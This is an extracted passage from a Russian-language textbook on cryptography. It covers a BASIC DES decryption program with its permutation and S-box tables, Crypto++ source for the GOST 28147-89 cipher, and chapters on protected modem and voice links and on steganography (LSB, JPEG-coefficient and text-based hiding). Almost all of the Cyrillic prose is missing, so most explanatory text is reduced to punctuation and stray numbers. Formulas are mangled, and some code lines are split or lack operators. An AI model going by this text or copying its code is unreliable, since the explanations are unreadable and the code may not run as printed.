ELSE
CLOSE #1
OPEN cipherf$ for binary access read as #1
END IF
PW$ = ""
LOCATE 6, 1
INPUT "

: ", PW$

IF (LEN(PW$) < 8) THEN PW$ = PW$ + STRING$(8 - LEN(PW$), 0)


IF len(pw$) = 16 then
LOCATE 6, 1: PRINT "
STRING$(16, 15); STRING$(10, " ")

: ";

DES
18.4
PW$ = ucase$(PW$)
xtob PW$, P2()
ELSE
LOCATE 6, 1: PRINT "
STRING$(8, 15); STRING$(10, " ")
PW$ = LEFT$(PW$, 8)
stob PW$, P2()
END IF

: ";

PRINT "
: ";
transpose P2(), KeyTr1(), 56
get$ #1,24,cheader$
header$ = desalg$(LEFT$(cheader$, 8))
IF NOT (LEFT$(header$, 3) = "DES") THEN
PRINT "!": PRINT : PRINT " ";
cipherf$; " !"
SYSTEM
ELSE
PRINT "!"
END IF
PRINT "
:";
header$ = header$ + desalg$(MID$(cheader$, 9, 8))
header$ = header$ + desalg$(RIGHT$(cheader$, 8))
pl% = INSTR(header$, "#")
le$ = MID$(header$, pl% + 1, (11 - pl%))
lf& = VAL(le$)
ev& = lf& + 24
IF (ev& MOD 8) THEN ev& = ev& + 8 - (ev& MOD 8)
rescue% = 0
IF (ev& <> lof1&) THEN
PRINT "!! ( )"
PRINT "
:"; lf&
PRINT "
:"; lof1&
PRINT "
:"; ev&
INPUT ; " ? (y/n) : ", q$:
IF (INSTR(q$, "N") OR (INSTR(q$, "n"))) THEN SYSTEM
rescue% = 4: PRINT
ELSE
PRINT lf&; ", !"
END IF

413

414

18.

18.4
pl% = INSTR(12, header$, "#")
oldplainf$ = RIGHT$(header$, 24 - pl%)
PRINT "
: "; oldplainf$;
OPEN oldplainf$ FOR RANDOM AS 2
IF INSTR(oldplainf$, ".") THEN
PRINT " ([*.*] ";
ELSE
PRINT " ([*] ";
END IF
IF LOF(2) > 0 THEN PRINT " ";
PRINT ")"
CLOSE #2
plainf$ = ""
INPUT "
: ", plainf$
IF plainf$ = "" THEN plainf$ = oldplainf$
plainf$ = RTRIM$(LTRIM$(plainf$))
IF INSTR(plainf$, "*.") THEN
IF INSTR(oldplainf$, ".") THEN
plainf$ = LEFT$(plainf$, INSTR(plainf$, "*.") - 1) +
LEFT$(oldplainf$, INSTR(oldplainf$, ".")) + RIGHT$(plainf$,
LEN(plainf$) - INSTR(plainf$, "*.") - 1)
ELSE
plainf$ = LEFT$(plainf$, INSTR(plainf$, "*.") - 1) + oldplainf$ + RIGHT$(plainf$, LEN(plainf$) - INSTR(plainf$, "*."))
END IF
END IF
IF (RIGHT$(plainf$, 1) = "*") THEN
IF plainf$ = "*" THEN
plainf$ = oldplainf$
ELSE
IF (MID$(plainf$, LEN(plainf$) - 1, 1) = ".") THEN
plainf$ = LEFT$(plainf$, INSTR(plainf$, ".") - 1) +
RIGHT$(oldplainf$, LEN(oldplainf$) INSTR(oldplainf$, ".") + 1)
ELSE
plainf$ = LEFT$(plainf$, LEN(plainf$) - 1) + oldplainf$
END IF
END IF
END IF
IF RIGHT$(plainf$, 1) = "\" THEN plainf$ = plainf$ + oldplainf$

DES

415

18.4
OPEN plainf$ FOR RANDOM AS 2
IF LOF(2) > 0 THEN
CLOSE #2
PRINT : PRINT " !"
SYSTEM
ELSE
CLOSE #2
OPEN plainf$ FOR BINARY AS 2
END IF
plaintekst$ = ""
blocks& = (LOF(1) \ 8) - 3
LOCATE rescue% + 11, 21: PRINT ; " :

0 %";

bigblocks&=(blocks&-1) \ 32
large$=space$(256)
FOR m& = 1 TO bigblocks&
outblock$=""
get$ #1,256,large$
for o%=1 to 256 step 8
outblock$=outblock$+desalg$(mid$(large$,o%,8))
next
put$ #2,outblock$
LOCATE rescue% + 11, 32: PRINT ; USING "###"; (m& /
(bigblocks&+1)) * 100;
next
FOR n& = (bigblocks&*32)+1 TO blocks& - 1
GET$ #1,8,ciphertekst$
plaintekst$ = desalg$(ciphertekst$)
PUT$ #2, plaintekst$
LOCATE rescue% + 11, 32: PRINT ; USING "###"; (n& / blocks&) *
100;
NEXT n&
get$ #1,8,ciphertekst$
if len(ciphertekst$) > 0 then
plaintekst$ = desalg$(ciphertekst$)
IF rescue% THEN
last$ = plaintekst$
ELSE

416

18.

18.4
last$ = LEFT$(plaintekst$, lf& + 32 - LOF(1))
END IF
IF LEN(last$) > 0 THEN
PUT$ #2, last$
END IF
end if
CLOSE
LOCATE 11 + rescue%, 32: PRINT "100 % ": PRINT
IF rescue% THEN
PRINT " ."
ELSE
PRINT " DES ."
END IF
SYSTEM
'
InitialTrl:
DATA 58,50,42,34,26,18,10,02,60,52,44,36,28,20,12,04
DATA 62,54,46,38,30,22,14,06,64,56,48,40,32,24,16,08
DATA 57,49,41,33,25,17,09,01,59,51,43,35,27,19,11,03
DATA 61,53,45,37,29,21,13,05,63,55,47,39,31,23,15,07
FinalTrl:
DATA 40,08,48,16,56,24,64,32,39,07,47,15,55,23,63,31
DATA 38,06,46,14,54,22,62,30,37,05,45,13,53,21,61,29
DATA 36,04,44,12,52,20,60,28,35,03,43,11,51,19,59,27
DATA 34,02,42,10,50,18,58,26,33,01,41,09,49,17,57,25
swappyl:
DATA 33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48
DATA 49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64
DATA 01,02,03,04,05,06,07,08,09,10,11,12,13,14,15,16
DATA 17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32
KeyTr1l:
DATA 57,49,41,33,25,17,09,01,58,50,42,34,26,18,10,02
DATA 59,51,43,35,27,19,11,03,60,52,44,36
DATA 63,55,47,39,31,23,15,07,62,54,46,38,30,22,14,06
DATA 61,53,45,37,29,21,13,05,28,20,12,04

DES
18.4
KeyTr2l:
DATA 14,17,11,24,01,05,03,28,15,06,21,10,23,19,12,04
DATA 26,08,16,07,27,20,13,02,41,52,31,37,47,55,30,40
DATA 51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32
etrl:
DATA 32,01,02,03,04,05,04,05,06,07,08,09,08,09,10,11
DATA 12,13,12,13,14,15,16,17,16,17,18,19,20,21,20,21
DATA 22,23,24,25,24,25,26,27,28,29,28,29,30,31,32,01
ptrl:
DATA 16,07,20,21,29,12,28,17,01,15,23,26,05,18,31,10
DATA 02,08,24,14,32,27,03,09,19,13,30,06,22,11,04,25
sboxesl:
DATA 14,04,13,01,02,15,11,08,03,10,06,12,05,09,00,07
DATA 00,15,07,04,14,02,13,01,10,06,12,11,09,05,03,08
DATA 04,01,14,08,13,06,02,11,15,12,09,07,03,10,05,00
DATA 15,12,08,02,04,09,01,07,05,11,03,14,10,00,06,13
DATA
DATA
DATA
DATA

15,01,08,14,06,11,03,04,09,07,02,13,12,00,05,10
03,13,04,07,15,02,08,14,12,00,01,10,06,09,11,05
00,14,07,11,10,04,13,01,05,08,12,06,09,03,02,15
13,08,10,01,03,15,04,02,11,06,07,12,00,05,14,09

DATA
DATA
DATA
DATA

10,00,09,14,06,03,15,05,01,13,12,07,11,04,02,08
13,07,00,09,03,04,06,10,02,08,05,14,12,11,15,01
13,06,04,09,08,15,03,00,11,01,02,12,05,10,14,07
01,10,13,00,06,09,08,07,04,15,14,03,11,05,02,12

DATA
DATA
DATA
DATA

07,13,14,03,00,06,09,10,01,02,08,05,11,12,04,15
13,08,11,05,06,15,00,03,04,07,02,12,01,10,14,09
10,06,09,00,12,11,07,13,15,01,03,14,05,02,08,04
03,15,00,06,10,01,13,08,09,04,05,11,12,07,02,14

DATA
DATA
DATA
DATA

02,12,04,01,07,10,11,06,08,05,03,15,13,00,14,09
14,11,02,12,04,07,13,01,05,00,15,10,03,09,08,06
04,02,01,11,10,13,07,08,15,09,12,05,06,03,00,14
11,08,12,07,01,14,02,13,06,15,00,09,10,04,05,03

417

418

18.

18.4
DATA
DATA
DATA
DATA

12,01,10,15,09,02,06,08,00,13,03,04,14,07,05,11
10,15,04,02,07,12,09,05,06,01,13,14,00,11,03,08
09,14,15,05,02,08,12,03,07,00,04,10,01,13,11,06
04,03,02,12,09,05,15,10,11,14,01,07,06,00,08,13

DATA
DATA
DATA
DATA

04,11,02,14,15,00,08,13,03,12,09,07,05,10,06,01
13,00,11,07,04,09,01,10,14,03,05,12,02,15,08,06
01,04,11,13,12,03,07,14,10,15,06,08,00,05,09,02
06,11,13,08,01,04,10,07,09,05,00,15,14,02,03,12

DATA
DATA
DATA
DATA

13,02,08,04,06,15,11,01,10,09,03,14,05,00,12,07
01,15,13,08,10,03,07,04,12,05,06,11,00,14,09,02
07,11,04,01,09,12,14,02,00,06,10,13,15,03,05,08
02,01,14,07,04,10,08,13,15,12,09,00,03,05,06,11

rotsl:
DATA 1,1,2,2,2,2,2,2,1,2,2,2,2,2,2,1
SUB btos (mbits() AS INTEGER, a$)
a$ = ""
FOR i% = 1 TO 8
w% = 0
FOR j% = 1 TO 8
w% = w% + ((mbits(((i% - 1) * 8) + j%)) * (2 ^ (8 - j%)))
NEXT j%
a$ = a$ + CHR$(w%)
NEXT i%
END SUB
FUNCTION desalg$ (a$)
temp$ = "": stob a$, ades()
transpose ades(), InitialTr(), 64
transpose ades(), swappy(), 64
FOR i% = 16 TO 1 STEP -1
letbe bdes(), ades(), 64
f i%, bdes(), xdes()
FOR j% = 1 TO 32
ades(j%) = (bdes(j% + 32) + xdes(j%)) MOD 2
NEXT j%
FOR j% = 33 TO 64
ades(j%) = bdes(j% - 32)

DES

419

18.4
NEXT j%
NEXT i%
transpose ades(), FinalTr(), 64
btos ades(), temp$
desalg$ = temp$
END FUNCTION
SUB f (i%, a() AS INTEGER, x() AS INTEGER)
h% = i%: letbe EF(), a(), 64
transpose EF(), etr(), 48
letbe ikeyf(), P2(), 64
transpose ikeyf(), KeyTr2(), 48
FOR j% = 1 TO rots(h%)
mrotate P2()
NEXT j%
FOR j% = 1 TO 48
yf(j%) = (EF(j%) + ikeyf(j%)) MOD 2
NEXT j%
FOR k% = 1 TO 8
k6% = 6 * k%: k4% = 4 * k%
r% = (32 * yf(k6% - 5)) + (16 * yf(k6%)) + (8 * yf(k6% - 4)) +
(4 * yf(k6% - 3)) + (2 * yf(k6% - 2)) + yf(k6% - 1) + 1
x(k4% - 3) = (s(k%, r%) \ 8) MOD 2: x(k4% - 2) = (s(k%, r%) \
4) MOD 2
x(k4% - 1) = (s(k%, r%) \ 2) MOD 2: x(k4%) = s(k%, r%) MOD 2
NEXT k%
transpose x(), ptr(), 32
END SUB
SUB init (x() AS INTEGER, n%)
FOR i% = 1 TO n%
READ x(i%)
NEXT i%
END SUB
SUB letbe (target() AS INTEGER, source() AS INTEGER, last%)
FOR il% = 1 TO last%
target(il%) = source(il%)
NEXT il%
END SUB

420

18.

18.4
FUNCTION MYBIN$ (n%)
STS$ = ""
p% = n%
FOR i% = 1 TO 8
IF (p% MOD 2) THEN
ST$ = "1" + ST$
ELSE
ST$ = "0" + ST$
END IF
p% = p% \ 2
NEXT i%
MYBIN$ = ST$
END FUNCTION
SUB mrotate (keyr() AS INTEGER)
letbe XR(), keyr(), 56
FOR ir% = 56 TO 2 STEP -1
XR(ir%) = XR(ir% - 1)
NEXT ir%
XR(1) = keyr(28): XR(29) = keyr(56)
letbe keyr(), XR(), 56
END SUB
SUB sboxinit (b() AS INTEGER)
RESTORE sboxesl
FOR i% = 1 TO 8
FOR j% = 1 TO 64
READ b(i%, j%)
NEXT j%
NEXT i%
END SUB
SUB stob (a$, mbits() AS INTEGER)
FOR i% = 1 TO 8
b$ = MYBIN$(ASC(MID$(a$, i%, 1)))
FOR j% = 1 TO 8
mbits(((i% - 1) * 8) + j%) = ASC(MID$(b$, j%, 1)) - 48
NEXT j%
NEXT i%
END SUB

DES
18.4
SUB transpose (datax() AS INTEGER, T() AS INTEGER, nt%)
letbe XT(), datax(), 64
FOR i% = 1 TO nt%
datax(i%) = XT(T(i%))
NEXT i%
END SUB
SUB xtob (a$, mbits() AS INTEGER)
LOCAL X$,NIBBLE$
FOR i% = 1 to 16
X$ = MID$(a$,i%,1)
SELECT CASE X$
CASE "0"
NIBBLE$ = "0000"
CASE "1"
NIBBLE$ = "0001"
CASE "2"
NIBBLE$ = "0010"
CASE "3"
NIBBLE$ = "0011"
CASE "4"
NIBBLE$ = "0100"
CASE "5"
NIBBLE$ = "0101"
CASE "6"
NIBBLE$ = "0110"
CASE "7"
NIBBLE$ = "0111"
CASE "8"
NIBBLE$ = "1000"
CASE "9"
NIBBLE$ = "1001"
CASE "A"
NIBBLE$ = "1010"
CASE "B"
NIBBLE$ = "1011"
CASE "C"
NIBBLE$ = "1100"
CASE "D"
NIBBLE$ = "1101"
CASE "E"

421

422

18.

18.4
NIBBLE$ = "1110"
CASE "F"
NIBBLE$ = "1111"
CASE ELSE
Print " 16- !"
SYSTEM
END SELECT
FOR j% = 1 to 4
mbits(((i% - 1) * 4) + j%) = ASC(MID$(NIBBLE$, j%, 1)) - 48
NEXT j%
NEXT i%
END SUB

DES
ECB, DES
( ih 1k Chaining). ,
64 , . ( ), .
(IV initialization vector).
. ,
. ECB CBC,
(F ihr Fdb) (F Output
Fdb).


28147-89
28147-89
, .
, , DES. , .
, 28147-89 ( ) , , . .
64- , 32- . , 64-

28147-89

423

, , 32- .
2. 64- . ,
, ,
S (), 1, c2 . 64- , . , .
.
: K, X Z
64- . , .
512, 256 64 . K . 32- 32- 8 .
Ki (i = 1, , 8), K, i- () , ..
16 . K , K
.
X 32- Xi,
2. .
Z 32 .
. () ,
.
(. , T =
(S) 34 u = (U2, U1, U0,
U1, U2, , U30, U31), U-1||U0 = S U31||U30 = T.
U-1||U0 0, U0||U1 1 ..
U31||U30 31. : U31||U30 = T.
i Xt(i).
:

t(i) = {0,1,2,3,4,5,6,7; 0,1,2,3,4,5,6,7; 0,1,2,3,4,5,6,7; 7,6,5,4,3,2,1,0}


.
64-
: K = ((K1)), k = 1, 2, ..., 0 = (S). s1||s2 () : s1 c1, s2 + c2. c2 mod 232, s1
c1 = s1 + c1 mod(232 1) s1 c1, s2 + c2, -

424

18.

232 1. c1 c2, , : 01010101 01010104,


1 = (S), k+1 = (k tk), k = 1, 2, , t .

. 18.9.
18.5 18.6 ( Microsoft Visual C 6.0).
18.5.
C++ ( Crypto++ 5.1)
#include "pch.h"
#include "gost.h"
#include "misc.h"
18.5
NAMESPACE_BEGIN(CryptoPP)
// S-
const byte GOST::Base::sBox[8][16]={
{4, 10, 9, 2, 13, 8, 0, 14, 6, 11, 1, 12, 7, 15, 5, 3},

425

28147-89
{14, 11, 4, 12, 6, 13, 15, 10, 2, 3, 8, 1, 0, 7, 5, 9},
{5, 8, 1, 13, 10, 3, 4, 2, 14, 15, 12, 7, 6, 0, 9, 11},
{7, 13, 10, 1, 0, 8, 9, 15, 14, 4, 6, 12, 11, 2, 5, 3},
{6, 12, 7, 1, 5, 15, 13, 8, 4, 10, 9, 14, 0, 3, 11, 2},
{4, 11, 10, 0, 7, 2, 1, 13, 3, 6, 8, 5, 9, 12, 15, 14},
{13, 11, 4, 1, 3, 15, 5, 9, 0, 10, 14, 7, 6, 8, 2, 12},
{1, 15, 13, 0, 5, 7, 10, 4, 9, 2, 3, 14, 6, 11, 8, 12}};
bool GOST::Base::sTableCalculated = false;
word32 GOST::Base::sTable[4][256];
void GOST::Base::UncheckedSetKey(CipherDir direction, const
byte *userKey, unsigned int length)
{
AssertValidKeyLength(length);
PrecalculateSTable();
GetUserKey(LITTLE_ENDIAN_ORDER, key.begin(), 8, userKey,
KEYLENGTH);
}

void GOST::Base::PrecalculateSTable()
{
if (!sTableCalculated)
{
for (unsigned i = 0; i < 4; i++)
for (unsigned j = 0; j < 256; j++)
{
word32 temp = sBox[2*i][j%16] | (sBox[2*i+1][j/16] << 4);
sTable[i][j] = rotlMod(temp, 11+8*i);
}
sTableCalculated=true;
}
}
#define f(x) ( t=x,
\
sTable[3][GETBYTE(t, 3)] ^ sTable[2][GETBYTE(t, 2)]

18.5
^ sTable[1][GETBYTE(t, 1)] ^ sTable[0][GETBYTE(t, 0)]
)
typedef BlockGetAndPut<word32, LittleEndian> Block;

426

18.

void GOST::Enc::ProcessAndXorBlock(const byte *inBlock, const


byte *xorBlock, byte *outBlock) const
{
word32 n1, n2, t;
Block::Get(inBlock)(n1)(n2);
for (unsigned int i=0; i<3; i++)
{
n2 ^= f(n1+key[0]);
n1 ^= f(n2+key[1]);
n2 ^= f(n1+key[2]);
n1 ^= f(n2+key[3]);
n2 ^= f(n1+key[4]);
n1 ^= f(n2+key[5]);
n2 ^= f(n1+key[6]);
n1 ^= f(n2+key[7]);
}
n2
n1
n2
n1
n2
n1
n2
n1

^=
^=
^=
^=
^=
^=
^=
^=

f(n1+key[7]);
f(n2+key[6]);
f(n1+key[5]);
f(n2+key[4]);
f(n1+key[3]);
f(n2+key[2]);
f(n1+key[1]);
f(n2+key[0]);

Block::Put(xorBlock, outBlock)(n2)(n1);
}
void GOST::Dec::ProcessAndXorBlock(const byte *inBlock, const
byte *xorBlock, byte *outBlock) const
{
word32 n1, n2, t;
Block::Get(inBlock)(n1)(n2);
18.5
n2 ^= f(n1+key[0]);
n1 ^= f(n2+key[1]);
n2 ^= f(n1+key[2]);

28147-89
n1
n2
n1
n2
n1

^=
^=
^=
^=
^=

f(n2+key[3]);
f(n1+key[4]);
f(n2+key[5]);
f(n1+key[6]);
f(n2+key[7]);

for (unsigned int i=0; i<3; i++)


{
n2 ^= f(n1+key[7]);
n1 ^= f(n2+key[6]);
n2 ^= f(n1+key[5]);
n1 ^= f(n2+key[4]);
n2 ^= f(n1+key[3]);
n1 ^= f(n2+key[2]);
n2 ^= f(n1+key[1]);
n1 ^= f(n2+key[0]);
}
Block::Put(xorBlock, outBlock)(n2)(n1);
}
NAMESPACE_END
18.6. gost.h,

C++ ( Crypto++ 5.1)
#ifndef CRYPTOPP_GOST_H
#define CRYPTOPP_GOST_H
#include "seckey.h"
#include "secblock.h"
NAMESPACE_BEGIN(CryptoPP)
struct GOST_Info : public FixedBlockSize<8>,
public FixedKeyLength<32>
{ static const char *StaticAlgorithmName() {return "GOST";}};
18.6
{
class Base : public BlockCipherBaseTemplate<GOST_Info>

427

428

18.

{
public:
void UncheckedSetKey(CipherDir direction,
const byte *userKey, unsigned int length);
protected:
static void PrecalculateSTable();
static const byte sBox[8][16];
static bool sTableCalculated;
static word32 sTable[4][256];
FixedSizeSecBlock<word32, 8> key;
};
class Enc : public Base
{
public:
void ProcessAndXorBlock(const byte *inBlock,
const byte *xorBlock, byte *outBlock) const;
};
class Dec : public Base
{
public:
void ProcessAndXorBlock(const byte *inBlock,
const byte *xorBlock, byte *outBlock) const;
};
public:
typedef BlockCipherTemplate<ENCRYPTION, Enc> Encryption;
typedef BlockCipherTemplate<DECRYPTION, Dec> Decryption;
};
typedef GOST::Encryption GOSTEncryption;
typedef GOST::Decryption GOSTDecryption;
NAMESPACE_END
#endif

19

,
:
. , , , ,
, .
.
, ,
() . , .
, , , , , . ,
.
- . , ,
.
, .
, ,
, . , (
- ), (-) ..

4,819,2 . ,
, 2400 /. ,
, .

430

19.


.
- .

:
() (. 19.1);
-
, ,
(. 19.2).

. 19.1.

. 19.2.
(. 19.3)
(. 19.4).

, , . .
, ,
.

431

. 19.3.

. 19.4.
, , , .

.
, , ,
, ,

.
,
.
(
19.5),
, .
, , , , . .

432

19.

. 19.5.


, . , -, , -, 3 , , , , -,
.
, .

, . .
1. : (
),
( ),

.
2.

() .
3. .

433

, - () (). ,
.
,
, . , , ,
, , (
2400 ).
.
, , 2,4 19,2 /,
. . , .
, , , , , -
().
, .
:
,
;
, ( ).
, ,
.

(
) ,
. : , . ,
, / .
, . -

434

19.

.
.


.
(. 19.6) ,

. .

. 19.6.
,
,
.
- ,
. . . , ,
.
, ( ).
( ).
(. 19.7).

435

. 19.7.
, .
,
,
.
(). ,
.
. . 19.8.

. 19.8.
( 300 /), . .
:
.

436

19.

, , .

, .
, . ,
250 . 500 , .

(. 19.9).

. 19.9.

, . ( , ).
( 2 ).
. , .
,
.
. .
, . , , , . ,
, .
, . 19.10. - , .

437

. 19.10. -
-
- . -
(. 19.11) , .

. 19.11.
. 19.10 . ,
, . - .

. . .

438

19.

, ( ), . , . .
/,
.
, , ,
.



, , (. . 19.3).

. , ,
,
. , , ,
- ,
, .
, . . . , .
.
3,3 ,
/
30 . , , 33 /.
, ,
. , , 40 ,
70 .. ,
6-7 . 10 . , 60-70 /.
, ,
. -
(), , ,
64 /.
32 / . ,

439

, , . ,
.
,
,
. (), , , . ( 30)
, . , , . 20 , 2400 /.

. , .
.
. , . ,
. ,
. , . 16-20
2400 /.

, , . 20- 48 , 6 ,
, , 41
.
, . 48 36 20 , 1200 /.

.

440

19.

, .
,
().
, , -
: P . , .
, .
. , .
: , .
: , / . , , 22,5 , 180 8 . 54 ,
2400 /. 41
, 5 , 7
1 /. , ,
, . .
800 / ,
.
.
.
1.

, , ,

, (. . 19.3, 19.4).
, -

441

, . / , -
.
2. / ( -

), DES .. , ,
.
.


,
, : ,
, .

,
. ,
.

,
, ,
. -, , , . ,
,
, .

, , , ,
. .
- ,
.

, . , .

442

19.

.
, ,
- (
),
, , .
, .. .

, ,
. , ,
, , , , .
, , , ,
, . ,
.
, ,
, ,
, , ( ) .
. , ,
, ,

.
.

, ,
.
, , N , - N!. -
, , - -

443

. K << N!
.
.

20

, .
. (steganos , ; graphy ).
, , , .
,
, , , () ,
, ..
,
, .
, .

.

. , ,
. , ,

,
.
.
XIX . (A.
Kerckhoffs) ,
,

445

. ,
, ,
, ,
. , , ,
.
, (C. E. Shannon) .
.
, ,
. , , , . ,
.

, ,
(, , ).

:
;
;
;
;
.
. , , 44100 8 10 .
1%. .

446

20.

, . , ,
( ) ,
, . , . .
, , , , .. .
, , ,
.
, 2001 ,
Internet .
, ,
. .

.

. ,
, (, )
(,
).
, ,
.


, , : (. 20.1).

447

. 20.1.
,

.

, .
, .
,
. , . , , , , (,
).
.
:
.
: , .
, , .
. , . .

448

20.

.
, ,
. , , ,
.
, ,
, .
, , , ,
.

, , . , (, , .),
, .
:
. , , ,
;
-
,
, ;
- .
, .


,
.

449

,
.
, . () , , , .
.
, : , , .

20.1
=<C,,D,E>, ;
, |C|||; E: CM D: CM , D(E(c,m))=m m
, .
,
E D. . ,
, E D,
,
.
,

. , ,
. , , ,
.


, ,
. . , ,
k. k -

450

20.

, . .

20.2
=<C,,,D,E>,
; ,
|C|||; ; E:CM D:CM
D(E(c,m,k),k)=m
m, kK.
.
k - Hash, : k = Hash ( ). ,
( Hash,
, ). , ,
.
, . , , .
, K=C K=CK', K'
.



. :
, , ,
.
, .

20.3
=<C,,,D,E>,
; ,
|C|||; =(k1, k2) ( k1 , k2 ); E:CMk1
D:Ck2M D(E(c,m,k1),
k2) = m m, .

451

.
, D
, .
,
.
,
, .


, , .
() . .
, .
,
, . , , , ,
: . , . k, .
, .
. ,
k .
,
.


.
, , (, , .),
.

.

-

452

20.

, . ,
,
, , .
, () . , .
. , , , Web- .
(. 20.2).

. 20.2.
, , , .
()
, . ,
,

453

. ,
.
,
.
, . - .
, - - (..
).
. . , , . , ,
.
. ,
MandelSteg,
, (mumic function).

() ( ).
, ,
(, -).
. , , . , , . , .
.
, , ( , , ).
.
. ,
, , ,
, . , .

454

20.

, ,
. , , , (, , ).
. .
: . ,
, , , (, , - ,
, - ),
.

. , ,
.
,
:
,
;
( , ,
);
;
.
, , .


.
, , (-) .
.

455


, . ,
(, ),
,
.
. , .
, , .
, :
;
;
;
.



,
.
. . -,

. -,
.
( )

(, C): 0,
1. . -, , ..
( 160 ). -,
( , ,
). -, .

(. 20.3): , , .. ,
;

456

20.

,
(1 80 ). ,
(, sendmail) . ,
.

. 20.3.
,
. . 0, 1. (. 20.4).

. 20.4. 0110100011010110
, .
, , , . , , .
01 1; 10 0; 00 11 , .. , . ,
1000101101 001, 110011 .
,
ASCII. ,
.
. ,
. (, ).

457

.
, 1, 0.
, . R+
(), R
, +
. ,
,

R+ + R X+ + X
>
R+ R X+ X
, ,

R+ + R X+ + X
<
R+ R X+ X
, ,
,
.
. 20.5. . , . , :
.

. 20.5. (
)
. ,
. , . ,
.
, ,
; ..
,

458

20.

, , . ,
.

. ,
(HTML, PostScript, PDF RTF)
.
.
, .


.
, . , , , , . ,
. , , 1, 0.
.
,
. .
,
. ,
,
. .

. , ,
. , .


.

, .
. - 20.1.
. -
0
, - 1, 1

0 (. 20.1).

459

, .
. 20.6 , . , , .

. 20.6. SubiText


,
, ,
.
, .
.
. ,
.
, . (t,
a, A) , t A, (, a, A)
p(t, , A) , t, ,
A. B , |p(t, , A) p(t, , B)| < t, n.

20.4
n- f, .
, p(t, A) t ,
f , t n
|p(t, f(A)) p(t, B)| < .
, ,
, , - -
. ; - ,
;
.

460

20.

. ,
. . A,
fA:{0,1}*, * *=i0{x1xi|x1,,xi}.
: G(x)=fB-1(fA(x)).
,
A, , B. fB-1
. fA fB-1 , . ,
, fA
x , fA-1(X) .
,
, . . - ().
- <V,
V, , SV\>, V
, ( ), S .
, ,
.
, ,
. , .. , , . s , s ,
.
.

<{S,A,B,C},{A,,Z, a,,z},,S>,
: ={S0.5 Alice

B, S0.3 Bob B, S0.1 Eve B, S0.1 I A; A0.3 am working, A0.4 am lazy, A0.4
am tired; B0.5 is , B0.5 can cook; C0.5 reading, C0.1 sleeping, C0.4
working}.

461

Vi={i,1,,i,n} , Vi.
i fi. . 20.7
S ,
. , Eve B 110, I
am tired 11 ..
.
,
. S, Vi
.
Vi .

, ,
, . . .

. 20.7. S
. 11110.
S
I. , S I
A. , ,
am working. , .
11110 I am working.

. ,
.
, ,
, -

462

20.

- . .



. , , , .
( ) :
, ;
, ;
, - ,
.
,
, , , , , () .

, :
() ;
;
;
;
;
.
,
.


,
. , .
().
, .

463

,
(, GIF BMP). . .
.
. , ,
(, , ,
). .
,
.
, , ,
. ().
() .
, j1, ..., jl(m) k- jk.
, .. .
, ,
. , ,

l(m)[l(m) 1]
p 1 exp
, , l(m)<< l(c).
2l(c)

l(m) l(c)=const .
ji .
( )
. - l(m)
Ii
p(Ii):

p(I) = (cj) mod 2


jI

464

20.

mi.
p(Ii) Ii mi,
Ii, p(Ii) = mi. .
, , . ,
, . , .
. , .
N (i, ci), i ci.
. , . N! N- ,
. ,
, :
, , .
, ,
. , d RGB-, d = R2 + G2 + B2. , .
.
( N/2) .
, .
,
.
.
,
Q. , ei
xi xi+1 Q: i = Q(xi xi 1),
i xi xi 1. i , xi xi 1 , i = i ei. :
i 0. i. , i , :
i
4
3
2
1
0
1
2
3
4
0

465

i- i. i , , i j,
. i .


, ,
, .
, , ,
, .
.
, (),
-. , . :
N1 N1
u(2x + 1)
u(2y + 1)
2
S(u, v) = C(u) C(v) S(x,y)cos
cos
,
2N
2N
N

x=0 y=0

S(x, y) =

2 N1 N1
u(2x + 1)
u(2y + 1)
C(u) C(v) S(u,v)cos
cos
,

N x=0 y=0
2N 2N

C(u)=1/ 2, u=0 C(u)=1 .




. 88 .
.
bi, i-
. bi : Bi = D{bi}. , . (u1, v1) (u2, v2). - ,
,
JPEG-. - ,
.
Bi(u1, v1) > Bi(u2,v2), ,
1, 0. ,
. JPEG- , , -

466

20.

, |Bi(u1, v1) Bi(u2,v2)| > x,


x > 0. x, , .
.
.



.
, .
, . ,
.
,
.
, :
. , , , ,
, .
:
, , , ;
, .
. N.
l(m) i N, . i , ..
N

i j =

x=1

i(x,y)j(x,y) = Giij, Gi =
y=1

i2(x,y), ij y=1

x=1

.
m E(x, y) ,

467

E(x, y) = mii(x, y)
i

, , E C: S(x, y)=C(x, y) + E(x, y).


, C i (..
<C,i> =0), i- mi, S i:

<S,i> = <C,i> +

<

>

mjj, i
j

= mj<ji> = Gi mi

(20.1)

mi = <C,i>/Gi.
, C.
C i, (20.1) (C, i) = Ci,
.. (C, i) = Ci + Gimi.
, , Ci . C i NM. , , :
N

E [Ci] =

E [C(x, y)] E [i(x, y)] = 0

j=1

i=1

, <C,i>=0.
S i: Si = <S,i> = Ci +
Gimi. Ci , Si Gimi. 1 1 ( ), mi :

1, Si < 0
mi = sign(Si) = 0, Si = 0 , , Gi>>0
1, Si > 0
mi = 0, . |Ci| ( ),
.
, , .
, , . Ci ,
|Ci| > |Gimi|, .

468

20.


. .

,
.
, ..
. l(m)- l(m) B1, ..., Bl(m). mi i-
. , :
1, Bi
f(Bi) =
0,

f. f (: Bi Bi ). f Bi. ,
h(Bi). , , ,
h(Bi) . , , 0, 1.
. , h(Bi),
, . , h(Bi) , .
. , Bi p(i)n,m. S = { S(i)n,m },
. S . Bi
Ci Di, Ci = { p(i)n,m Bi | Sn,m = 1} Di = { p(i)n,m Bi | Sn,m = 0}.
Ci k > 0. Ci Di .
, Ci , . ,
Ci Di , , :

qi =


Ci Di
, ^i =
^i

469

Var[Ci] Var[Di]
,
|S|/2

Ci Ci, Var[Ci]
Ci. , q N(0, 1).
Bi, q . , i- qi Bi .


, , .
, .
. , . ,
: , . ,
.
.
, l(m) , . , ( ). 0
, 1 .
, : LSB , . , , .
l(m) . i- ,
, , .
. , .
, . -

470

20.

.
, .


. ,

. , . ,
.
, , , .
,
. S , .
, , , . , . .
. ( ). , . . ,
.
.
.
m
CH. , , . , .
CH
GS.
. , , .

471

GS WS.
, , .

, .
, GS. , , CH.
.
, ,
, :
SCHGSWSSJ, SJ , . ,
,
.


. , , .
, . , ; , , . .



. ,
. ,
. , 16- ,
. ,
.

472

20.

,
.
. . w(t), {-1, 1}. ( 100 )
. w(t)
. s(t)
c(t) d(t):

s(t) = v(t) + d(t)w(t),


, .
d(t)
w(t),
: s(t)w(t) = v(t)w(t) + d(t).
.
-.
. , -
. , (, 1 0 ), , ,
v(t) , -, : c(t) = v(t) + v(t ).
,
